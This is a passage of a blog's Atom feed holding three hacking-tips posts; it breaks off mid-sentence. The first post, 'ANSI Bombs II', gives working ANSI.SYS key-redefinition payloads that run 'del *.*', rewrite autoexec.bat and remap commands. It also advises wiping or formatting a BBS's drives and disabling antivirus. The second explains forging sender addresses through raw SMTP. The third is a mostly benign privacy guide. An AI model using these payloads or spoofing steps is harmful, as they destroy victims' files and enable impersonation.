gd:etag="W/&quot;D0MBR3Y6cSp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-3278520830280112473</id><published>2008-08-12T08:37:00.001-07:00</published><updated>2008-08-12T08:37:36.819-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:37:36.819-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ANSI Bombs" /><category scheme="http://www.blogger.com/atom/ns#" term="Tips" /><category scheme="http://www.blogger.com/atom/ns#" term="Techniques" /><title>ANSI Bombs II: Tips and Techniques</title><content type="html">ANSI Bombs II: Tips and Techniques&lt;br /&gt;&lt;br /&gt;                                  By&lt;br /&gt;&lt;br /&gt;                           The Raging Golem&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    I. Introduction&lt;br /&gt;&lt;br /&gt;    After writing the last file, a lot of people let me know about the&lt;br /&gt;mistakes I had made.  I guess this file is to clear up those miscon&lt;br /&gt;ceptions and to let people know about some of the little tricks behind&lt;br /&gt;ANSI bombing.  Of course, ANSI bombing isn't as dangerous as a lot of&lt;br /&gt;people make it out to be, but bombs are still fun to make and with a&lt;br /&gt;little planning deliver some degree of success.  ANSI bombing can&lt;br /&gt;be dangerous, so I am tired of hearing people say that an ANSI bomb is&lt;br /&gt;harmless, another misconception I hope to clear up.  Now, most people&lt;br /&gt;that have spent time experimenting with ANSI bombs probably know most&lt;br /&gt;of the material in this file, but it might be fun just to read anyway.&lt;br /&gt;&lt;br /&gt;    2. Misconceptions&lt;br /&gt;&lt;br /&gt;    In my last file, I made three major blunders, or what I would con&lt;br /&gt;sider to be major blunders.  First, I said that ANSI bombs could be&lt;br /&gt;used on BBSs to screw people over, but I guess I was wrong.  It was&lt;br /&gt;pure speculation on what other people had said that made me say that.&lt;br /&gt;ANSI codes, including those that redefine keys, are sent over the&lt;br /&gt;lines, but most comm programs don't use ANSI.SYS; they use their own&lt;br /&gt;version of ANSI, which doesn't support key redefinition.  Some people&lt;br /&gt;might have a program that supports it, but I haven't seen it yet.  I&lt;br /&gt;have tested bombs on systems on my own and proved to myself that they&lt;br /&gt;don't work.  I have also seen people fuck up bombs that would have&lt;br /&gt;worked by uploading them in a message.  The second misconception is&lt;br /&gt;that ANSI bombs are dangerous when put into zips.  I haven't really&lt;br /&gt;tested this out much, but from what I hear with the newer versions of&lt;br /&gt;PKZIP, you have to specify that you want to see ANSI comments when&lt;br /&gt;unzipping.  It is unlikely that you would waste your time unzipping&lt;br /&gt;something again after seeing "Format C:" in the middle of an escape&lt;br /&gt;code.  I could be mistaken, but I'm pretty sure that I'm right. Third,&lt;br /&gt;the last thing that was a misconception is that VANSI.SYS will protect&lt;br /&gt;your system from key redefinition.  Maybe the newer versions don't&lt;br /&gt;support key redefinition, but mine sure as hell does.  There are pro&lt;br /&gt;grams out there that don't support it, but I don't know any of the&lt;br /&gt;names.  Of course, if I were you, I would be wary about using some&lt;br /&gt;thing other then ANSI.  I have a few friends that are working on "A&lt;br /&gt;Better ANSI" for PDers, which, instead of being better, really screws&lt;br /&gt;them over.&lt;br /&gt;&lt;br /&gt;    3. An Overview&lt;br /&gt;&lt;br /&gt;    Now, in case you haven't read my other file (it's called ANSI.DOC,&lt;br /&gt;kind of lame but fairly informative), I'll briefly go over the struc&lt;br /&gt;ture of an ANSI bomb.  Skip this part if you know what an ANSI bomb is&lt;br /&gt;and how to make one.&lt;br /&gt;    In ANSI everything is done with a system of escape codes.  Key&lt;br /&gt;redefinition is one of those codes.  (From now, whenever I say ESC, I&lt;br /&gt;really mean the arrow, ).  Here is a basic command:&lt;br /&gt;                          ESC [13;27p&lt;br /&gt;    This would make the &lt;Enter&gt; key (13 is the code for enter) turn&lt;br /&gt;into the &lt;Escape&gt; key (27 is the code for escape).  The  always has to&lt;br /&gt;be there, as do the bracket and the "p", but what is between the&lt;br /&gt;bracket and the "p" is up to you.  The first number is always the key&lt;br /&gt;that you want to be redefined.  If there is a zero for the first num&lt;br /&gt;ber, that means the key is in the extended set, and therefore, the&lt;br /&gt;first two numbers are the code.  The bracket signifies the beginning&lt;br /&gt;of the definition, and the "p" signifies the end.  Whenever you want a&lt;br /&gt;key pressed, you have to use it's numerical code (i.e. 13 is the code&lt;br /&gt;for &lt;Enter&gt;).  You can't redefine strings, but you can redefine a key&lt;br /&gt;to become a string (i.e. ESC [13;"Blah"p would make &lt;Enter&gt; say&lt;br /&gt;"Blah").  Strings must be inside of quotes, which includes commands&lt;br /&gt;that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p&lt;br /&gt;would delete everything in the directory, note that 13 stands for&lt;br /&gt;Enter in this case, not the redefinition).  An escape code can have&lt;br /&gt;as many commands as you want in it, but each one has to be separated&lt;br /&gt;by a semi-colon.  You can only redefine one key in each escape code,&lt;br /&gt;so if you want to redefine another key, you have to start another&lt;br /&gt;escape code.  That's about it when it comes to bombs, now that you&lt;br /&gt;have the basics, all you really need is a little imagination.&lt;br /&gt;&lt;br /&gt;    4. Tips and Tricks&lt;br /&gt;&lt;br /&gt;    A. The Y/N Redefinition&lt;br /&gt;&lt;br /&gt;    Now, here's a simple but fun little ANSI bomb:&lt;br /&gt;&lt;br /&gt;                   ESC [78;89;13p ESC [110;121;13p&lt;br /&gt;&lt;br /&gt;    Basically, all this does is turn a capital "N" into "Y" and a&lt;br /&gt;lower-case "n" into "y".  Alone this doesn't do too much, except for&lt;br /&gt;screw around with what they are typing.  On the other hand, try adding&lt;br /&gt;this line of code to the ANSI bomb:&lt;br /&gt;&lt;br /&gt;                   ESC [13;27;13;"del *.*";13p&lt;br /&gt;&lt;br /&gt;    Most people would automatically press "N" when they see "Del *.*",&lt;br /&gt;but when they do, they will be screwed over.  This portion of a bomb&lt;br /&gt;is very useful when it comes to making good bombs.&lt;br /&gt;&lt;br /&gt;    B. Screwing with the Autoexec.bat&lt;br /&gt;&lt;br /&gt;    Here is another line of code that you may find useful in future&lt;br /&gt;bombing projects:&lt;br /&gt;&lt;br /&gt;                   ESC [13;27;13;"copy bomb.ans c:\";13;"copy con&lt;br /&gt;                     c:\autoexec.bat";13;"type bomb.ans";13;0;109;&lt;br /&gt;                     13;"cls";13p&lt;br /&gt;&lt;br /&gt;    This line of code makes the bomb a little more permanent and a&lt;br /&gt;little more dangerous.  It copies the bomb into the root directory,&lt;br /&gt;then it change/creates the autoexec.bat, so the bomb is typed after&lt;br /&gt;every boot-up.  Of course, the person could just boot off a disk, but&lt;br /&gt;I'm sure this would get them a few time.  It could also probably&lt;br /&gt;appear as though it were a virus, scaring the shit out of the owner of&lt;br /&gt;the computer.&lt;br /&gt;&lt;br /&gt;    C. Turning Commands into Other Commands&lt;br /&gt;&lt;br /&gt;    One of the best pranks to do to someone using an ANSI bomb is to&lt;br /&gt;redefine commands.  That way if they type in "copy", it will turn into&lt;br /&gt;"Del *.*".  Since you can't actually change the whole string, you have&lt;br /&gt;to take a different approach.  You have to change a few of the keys,&lt;br /&gt;so when typed, they type and execute the desired command.  I guess it&lt;br /&gt;would be coolest to have to command exactly the same length; that way&lt;br /&gt;you could redefine one key at a time to obtain the desired effect.&lt;br /&gt;It doesn't really matter how you do it, just as long as it works.  You&lt;br /&gt;might make an ANSI that says "Wow, check out what this bomb did to&lt;br /&gt;your directory", and then have it redefine the keys, so when they type&lt;br /&gt;in "dir", it turns into "del".  I think you get the idea.&lt;br /&gt;&lt;br /&gt;    D. Trojans&lt;br /&gt;&lt;br /&gt;    By now, everybody knows what a Trojan is.  You probably wouldn't&lt;br /&gt;think so, but ANSI bombs can be used as Trojans and in Trojans. First,&lt;br /&gt;if you are planning on crashing a board, but you're not very good at&lt;br /&gt;programming, then make yourself an ANSI bomb.  Try to find out in&lt;br /&gt;which directory the main files for running the BBS are stored. They&lt;br /&gt;are usually under the name BBS or the name of the software, like WWIV&lt;br /&gt;or Telegard.  Then, make a bomb that either just deletes all the files&lt;br /&gt;in that directory, or if you want the board to be down a longer time,&lt;br /&gt;then make one that formats the Hard Drive.  In this form ANSI bombs,&lt;br /&gt;if they are well planned out, can be easy to make Trojans. Second,&lt;br /&gt;ANSI bombs can used in Trojans.  This is probably stretching it a&lt;br /&gt;little, but say you wanted to write a Trojan that would delete a&lt;br /&gt;directory, every time you typed a certain key, then you could use an&lt;br /&gt;ANSI bomb.  First make some batch and com/exe files that would search&lt;br /&gt;for protecting programs like Norton and turn them off.  Then you could&lt;br /&gt;copy the file into the root directory, along with your versions of&lt;br /&gt;autoexec.bat, config.sys, ANSI.sys, and whatever else.  (To make it&lt;br /&gt;look more realistic make the files Resource.00x to trick the user,&lt;br /&gt;then when copying, use the real name).  Then somehow lock the computer&lt;br /&gt;up or do a warm boot through some pd program, which is easily attain&lt;br /&gt;able.  When the computer loads back up, you can screw that shit out of&lt;br /&gt;them with your ANSI bomb.&lt;br /&gt;&lt;br /&gt;    5. Conclusion&lt;br /&gt;    It would seem to some people that ANSI bombs are very dangerous,&lt;br /&gt;and to others that they are stupid or lame.  Personally, I think that&lt;br /&gt;ANSI bombs are just plain old fun.  They're not too hard to make, but&lt;br /&gt;there is a lot that you can do with them.  They are nowhere near as&lt;br /&gt;malicious as virii, so if you're looking for unstoppable destruction,&lt;br /&gt;look elsewhere, but they do serve their purpose.  I know that there&lt;br /&gt;are programs out there that help you program ANSI bombs, but I think&lt;br /&gt;that they kind of take the fun out of them.  Probably, some day soon,&lt;br /&gt;I'll quit making ANSI bombs and start looking more into virii and pure&lt;br /&gt;Trojans.  But for now, ANSI bombs suit my purpose.&lt;br /&gt;&lt;br /&gt;                               -TRG&lt;br /&gt;&lt;br /&gt;    Appendix A: Key Code Program&lt;br /&gt;&lt;br /&gt;    Here is a small program, which I find very helpful.  After loading&lt;br /&gt;it up, it tells you the numeric code for every key you type in.  Spe&lt;br /&gt;cial means that it is in the extended set and therefore uses zero, and&lt;br /&gt;"q" ends the program.  Unfortunately,  I can't take any credit for&lt;br /&gt;this program.  I got it over the phone from Heavymetl, and it was made&lt;br /&gt;by his brother.  So many thanks go out to Heavymetl and his brother,&lt;br /&gt;even though they'll probably be a little pissed at me for including&lt;br /&gt;this in my file.  It is in Pascal and can be compiled in most Turbo&lt;br /&gt;Pascal compilers.&lt;br /&gt;&lt;br /&gt;    Use CRT;&lt;br /&gt;    Var&lt;br /&gt;      CH : CHAR;&lt;br /&gt;    Begin&lt;br /&gt;      Repeat&lt;br /&gt;        CH := ReadKey;&lt;br /&gt;        If CH = #0 then&lt;br /&gt;          Begin&lt;br /&gt;            CH := ReadKey;&lt;br /&gt;            WriteLn(CH,'(Special) - ',ORD(CH));&lt;br /&gt;          End&lt;br /&gt;        Else&lt;br /&gt;          WriteLn(CH,' - ',ORD(CH));&lt;br /&gt;      Until&lt;br /&gt;        CH = 'q';&lt;br /&gt;    End.&lt;br /&gt;&lt;br /&gt;    Thanks go out to:&lt;br /&gt;&lt;br /&gt;    Heavymetl and his brother for the program and ideas.  Weapons&lt;br /&gt;Master for the input and the help he has given me.  Everybody else who&lt;br /&gt;has helped me out; you know who you are, or at least, you think you&lt;br /&gt;know who you are.  Most of all, to those brave soldiers risking their&lt;br /&gt;asses everyday for us half-way across the world in Saudi Arabia.  Your&lt;br /&gt;deeds haven't gone unnoticed, of course that's mainly because that's&lt;br /&gt;all the news ever shows nowadays.  Also, to anybody else I might have&lt;br /&gt;forgotten.  Thanks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-3278520830280112473?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PVw49SfmTOL21UKjJx43PgkF_aM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PVw49SfmTOL21UKjJx43PgkF_aM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PVw49SfmTOL21UKjJx43PgkF_aM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PVw49SfmTOL21UKjJx43PgkF_aM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/f9doKbjSe64" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/3278520830280112473/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=3278520830280112473" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/3278520830280112473?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/3278520830280112473?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/f9doKbjSe64/ansi-bombs-ii-tips-and-techniques.html" title="ANSI Bombs II: Tips and Techniques" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/ansi-bombs-ii-tips-and-techniques.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QMQHczfyp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-6496512602325989563</id><published>2008-08-12T08:34:00.000-07:00</published><updated>2008-08-12T08:36:21.987-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:36:21.987-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Email" /><category scheme="http://www.blogger.com/atom/ns#" term="ANONYMOUS" /><title>how to send ANONYMOUS e-mails ....</title><content type="html">Welcome to Hackerdevil's guide on how to send ANONYMOUS e-mails to someone without a prog.&lt;br /&gt;&lt;br /&gt; I am Hackerdevil and i am going to explain ya a way to send home-made e-mails. I mean its a way to send Annonimous e-mails without a program, it doesn't take&lt;br /&gt;to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.&lt;br /&gt;&lt;br /&gt;This way (to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work, (home-made)&lt;br /&gt;&lt;br /&gt;Well.....&lt;br /&gt;Go to Start, then Run...&lt;br /&gt;You have to Telnet (Xserver) on port 25&lt;br /&gt;&lt;br /&gt;Well, (In this Xserver) you have to put the name of a server without the ( ) of course...&lt;br /&gt;Put in iname.com in (Xserver) because it always work it is a server with many bugs in it.&lt;br /&gt;(25) mail port.&lt;br /&gt;&lt;br /&gt;So now we are like this.&lt;br /&gt;&lt;br /&gt;telnet iname.com 25&lt;br /&gt;&lt;br /&gt;and then you hit enter&lt;br /&gt;Then When you have telnet open put the following like it is written&lt;br /&gt;&lt;br /&gt;hello&lt;br /&gt;&lt;br /&gt;and the machine will reply with smith.&lt;br /&gt;&lt;br /&gt;Notice for newbies: If you do not see what you are writing go to Terminal's menu (in telnet) then to Preferences and in the Terminal Options you tick all options available and in the emulation menu that's the following one you have to tick the second option.&lt;br /&gt;Now you will se what you are writing.&lt;br /&gt;&lt;br /&gt;then you put:&lt;br /&gt;&lt;br /&gt;mail from:&lt;whoeveryouwant@whetheveryouwant.whetever.whatever&gt; and so on...&lt;br /&gt;If you make an error start all over again&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;mail from:askbill@microsoft.com.net&lt;br /&gt;&lt;br /&gt;You hit enter and then you put:&lt;br /&gt;&lt;br /&gt;rcpt to:lamer@lamer'sworld.com&lt;br /&gt;This one has to be an existance address as you are mailing anonymously to him.&lt;br /&gt;&lt;br /&gt;Then you hit enter&lt;br /&gt;And you type&lt;br /&gt;Data&lt;br /&gt;and hit enter once more&lt;br /&gt;&lt;br /&gt;Then you write&lt;br /&gt;&lt;br /&gt;Subject:whetever&lt;br /&gt;&lt;br /&gt;And you hit enter&lt;br /&gt;&lt;br /&gt;you write your mail&lt;br /&gt;&lt;br /&gt;hit enter again (boring)&lt;br /&gt;&lt;br /&gt;you put a simple:&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;Yes you don't see it its the little fucking point!&lt;br /&gt;and hit enter&lt;br /&gt;Finally you write&lt;br /&gt;quit&lt;br /&gt;hit enter one more time&lt;br /&gt;and it's done&lt;br /&gt;&lt;br /&gt;look:Try first do it with yourself I mean mail annonymously yourself so you can test it!&lt;br /&gt;Don't be asshole and write fucking e-mails to big corps. bec' its symbol of stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!&lt;br /&gt;&lt;br /&gt;Really i don't know why i wrote this fucking disclaimer, but i don't want to feel guilty if you get into trouble....&lt;br /&gt;&lt;br /&gt;Disclamer:Hackerdevil is not responsable for whetever you do with this info. you can destribute this but you are totally forbidden to take out the "By Hackerdevil" line. You can't modify or customize this text and i am also not responsable if you send an e-mail to an important guy and insult him, and i rectly advise you that this is  for educational porpouses only my idea is for learning and having more knowledge, you can not get busted with this stuff but i don't take care if it anyway happen to you.  If this method is new for ya probably you aren't a hacker so think that if someone wrote you an e-mail "yourbestfirend@aol.com"  insulting you and it wasn't him it but was some guy using a program or this info you won't like it.so Use this method if you don't care a a damn hell or if you like that someone insult you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-6496512602325989563?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fX9SOg28p1Tz9CGCLbJ9VE0cRdQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fX9SOg28p1Tz9CGCLbJ9VE0cRdQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fX9SOg28p1Tz9CGCLbJ9VE0cRdQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fX9SOg28p1Tz9CGCLbJ9VE0cRdQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/Kqlupxakxz4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/6496512602325989563/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=6496512602325989563" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/6496512602325989563?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/6496512602325989563?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/Kqlupxakxz4/how-to-send-anonymous-e-mails.html" title="how to send ANONYMOUS e-mails ...." /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/how-to-send-anonymous-e-mails.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UAR3gzfyp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-8896381819762236110</id><published>2008-08-12T08:33:00.000-07:00</published><updated>2008-08-12T08:34:06.687-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:34:06.687-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Anonymity" /><title>Anonymity on the web</title><content type="html">&lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Nowadays, everyone wants privacy on the web, because no matter where you go, someone could be watching you. Someone like your employer, someone trying to hack your system, companies gathering all your info to sell to yet other companies, or even the government, may be on your track while you peacefully surf the web. Thus, anonymity on the web means being able tu use all of its services with no concern about someone snooping on your data. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Your computer being connected to the net has an IP [Internet Protocol] address. If you have a dial-up connection, then your IP changes every time you connect to the internet (this is not always true, though. There are dialup isps, specially for university students, that do have static ips). Cable modems and DSL connections have a static IP, which means that the IP address does not change. One of the goals of getting anonymous is to make sure your ip, either static or dynamic) isn't revealed to other users of the internet, or to server administrators of the servers you roam around when using internet services. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;This text tries to give you some hints on how to maintain your anonimity on the web. Some of the hints may sound banal, but think of, if you really abide them in every situation. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ first tips ]&lt;br /&gt;When chatting on IRC, ICQ, AIM (etc..), do not give out personal information about yourself, where you live, work, etc.&lt;br /&gt;Do not use your primary email address (the one your ISP gave you) anywhere except to family members, close friends or trusted people. Instead create for yourself a web-based email account such as yahoo, hotmail, dynamitemail, mail.com, etc. and use this e-mail address to signing up for services, when in the need to give your mail to download something, or to publish on your homepage. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;When signing up for services on the web, don't give your real information like address, phone number and such unless you really need to do so. This is the kind of information that information gathering companies like to get, so that they can sell out and fill your mailbox with spam. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Use an anonymous proxy to surf the web. This makes sure your ip doesn't get stored on the webserver logs. (Webservers log every GET request made, together with date, hour, and IP. This is where the proxy comes in. They get the ip from the proxy, not yours)&lt;br /&gt;Use a bouncer to connect to IRC networks, in case you don't trust the administrators, or the other users. A bouncer is a program that sits on a permanently connected machine that allows you to connect there, and from there to the irc server, just like a proxy works for webservers.&lt;br /&gt;Use anonymous remailers to send out your e-mails.&lt;br /&gt;Cryptography can also help you by making sure the material you send out the web, like by email, etc, is cyphered, not allowing anyone that doesn't have your key to read it (in key-based cryptography). Programs like PGP (pretty good privacy) are toolkits with all you need to cypher and uncypher your stuff.&lt;br /&gt;Delete traces of your work with the computer including history files, cache or backup files.&lt;br /&gt;[ about proxies ]&lt;br /&gt;Proxies are caches that relay data. When you configure your web browser to use a proxy, it never connects to the URL. Instead it always connects to the proxy server, and asks it to get the URL for you. It works similarly with other type of services such as IRC, ICQ etc. There'll won't be direct connection between you and the server, so your real IP address won't be revealed to the server. When you view a website on the server, the server won't see your IP. Some of web proxies do not support forwarding of the cookies whose support is required by some of the websites (for ex. Hotmail). &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Here are some anonymous proxies that you can use to surf anonymously (notice that some of these may be a payed service): &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Aixs - http://aixs.net/&lt;br /&gt;Rewebber - http://www.anon.de/&lt;br /&gt;Anonymizer - http://www.anonymizer.com/&lt;br /&gt;The Cloak - http://www.the-cloak.com/ &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;You'll highly probably find many websites that provide the lists of unauthorised proxies and remailers . Such lists are being compiled usually with the help of port scanners or exploit scanners, scanning for computers with wingate or other proxies' backdoors. Using these proxies is illegal, and is being considered as unauthorized access of computer. If you get such list to your hands, check if the info is legal or compiled by script kiddie, and act acordingly. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;If you anyhow decide not to use proxy, at least do not forget to remove your personal information from your browser. After you remove details like your name and e-mail address from your browser, the only info a Web site can sniff out is your ISP's address and geographical location. Also Java and JavaScript applets can take control of your browser unexpectedly, and if you are surfing to unknown and potentially dangerous places you should be aware of that. There are exploitable browser bugs (mainly Internet explorer ones) reported ever week. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ cookies ]&lt;br /&gt;Maybe you're not aware of the fact that if you have the "allow cookies" feature in your browser on, websites can store all sorts of information on your harddrive. Cookies are small files that contain various kind of information that can be read bt websites when you visit them. The usual usage is to track demographics for advertising agencies that want to see just what kinds of consumers a certain site is attracting. Web sites also use cookies to keep your account information up-to-date. Then for instance when you visit your e-mail webbased account without being unlogged some hours later, you find yourself being logged on, even if you turn off your computer. Your login and password was simply stored on your harddrive in cookie file. This is security threat, in case that there is more persons who have the access to your computer. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Most of the browsers offer the possiblity to turn off the cookies, but some of sites like Hotmail.com require them to be turned on. In case you decided to allow cookies, at least never forget to log off from the websites when you're finishing visiting them. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ ftp transfers ]&lt;br /&gt;When using an FTP client program to download files, assure yourself, that it's giving a bogus password, like guest@unknown.com, not your real one. If your browser lets you, turn off the feature that sends your e-mail address as a password for anonymous FTP sessions. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ secure transaction ]&lt;br /&gt;Everything being sent from the web server to your browser is usually in plain text format. That means, all transferred information can be easily sniffed on the route. Some of the web servers support SSL (which stands for Secure Socket Layer). To view and use these websites you'll need SSL support in your browser as well. You recognize, that the connection is encrypted, if URL starts with https:// instead of usual http://. Never use web server without SSL for sending or receiving sensitive private or business information (credit card numbers, passwords etc.) &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ SSL tunelling ]&lt;br /&gt;What is SSL? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;SSL stands for Secure Socket Layer. The ?Secure? implies an encryption, while Socket Layer denotes an addition to the Window Socket system, Winsock. For those that don?t know, a Socket is an attachment to a port on a system. You can have many sockets on one port, providing they are non-blocking (allowing control to pass through to another socket aware application which wishes to connect to that port). &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;A Secure Socket Layer means that any sockets under it, are both secure and safe. The idea behind SSL was to provide an encrypted, and thus, secure route for traffic along a socket based system, such as TCP/IP (the internet protocol). Doing this allows security in credit card transactions on the Internet, encrypted and protected communiqué along a data line, and overall peace of mind. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The SSL uses an encryption standard developed by RSA. RSA are a world respected American organisation that specializes in encryption and data security. Initially, they developed a cipher length of only 40 bits, for use with the Secure Socket Layer, this was considered weak and therefore a longer much more complicated encryption cipher was created, 128 bits. The reasoning behind it was simple: it needs to be secure. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The RSA site puts the advantage of a longer encryption length pretty clearly: because 40-bit encryption is considered to be relatively weak. 128-bits is about 309 septillion times ( 309,485,000,000,000,000,000,000,000 ) larger than 40-bits. This would mean it would take that many times longer to crack or break 128-bit encryption than it would 40-bit. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;If you want more information on the technicalities or RSA?s SSL encryption engine, visit their site: http://www.rsasecurity.com/standards/ssl. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;But what does all this encryption and security have to do with you? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Well, that?s a simple question. No matter how hard you try, at times your privacy will need to be knowingly invaded so you can make use of the product offered for doing so. If you think about food, for example, one cannot eat without swallowing. When we wish to make a transaction or view a site on the internet, where we have to give enough information away so that it happens, we also want to be assured no one else along the line gathers that data. An encrypted session would mean our data is not at the hands of any privacy perpetrators unless they knew how to decode it ? and the only ones in the know, are those you specifically wish. SSL uses public key encryption as explained in the PGP section. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;To put this at a head: if you use an encrypted connection or session, you can be relatively assured that there are no prying eyes along the way. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;And how do I implement SSL with SSL Tunnelling? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;We know that a Secure Socket Layer is safe, but what we don?t know is what a Tunnel is. In the most simplistic form, a tunnel is a proxy. Like proxy voting in general elections, a tunnel will relay your data back and forth for you. You may be aware though, that there are already ?proxies? out there, and yes, that is true. Tunnelling is done via proxies, but it is not considered to be the same as a standard proxy relaying simply because it isn?t. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Tunnelling is very special kind of proxy relay, in that it can, and does relay data without interfering. It does this transparently and without grievance or any care for what is passing its way. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Now, if we add this ability to ?tunnel? data, any data, in a pipe, to the Secure Sockets Layer, we have a closed connection that is independent of the software carrying it; and something that is also encrypted. For those of you wanting to know a little more about the technicalities, the SSL layer is also classless in the sense it does not interferer with the data passed back and forth ? after all, it is encrypted and impossible to tamper with. That attribute means an SSL capable proxy is able to transfer data out of its ?proxied? connection to the destination required. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;So to sum up, we have both a secure connection that does the job and relays things in the right direction; and we have direct tunnel that doesn?t care what we pass through it. Two very useful, and almost blind entities. All we need now is a secure proxy that we can use as the tunnel. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Proxies: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Secure proxies are alike standard proxies. We can either use an HTTP base SSL equipped proxy - one specifically designed for security HTTP traffic, but because of the ignorant nature of SSL communication, it can be bent to any needs ? or we can use a proper SSL service designed for our connection ? like you would use a secure 